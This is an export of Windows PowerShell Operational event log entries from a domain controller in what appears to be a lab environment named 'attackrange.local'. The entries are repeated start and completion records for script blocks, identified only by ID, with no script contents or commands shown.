SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477564
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477563
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477562
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477561
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477560
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477558
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477556
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477554
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477553
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477551
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477550
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477549
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477548
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477547
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477546
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477544
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477542
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477540
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477539
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477538
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477536
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477535
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477534
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477533
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477532
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477531
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477530
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477528
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477526
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477524
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477522
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477521
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477520
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477519
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477518
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477517
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477516
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477515
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477514
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477513
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477512
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477511
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477510
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
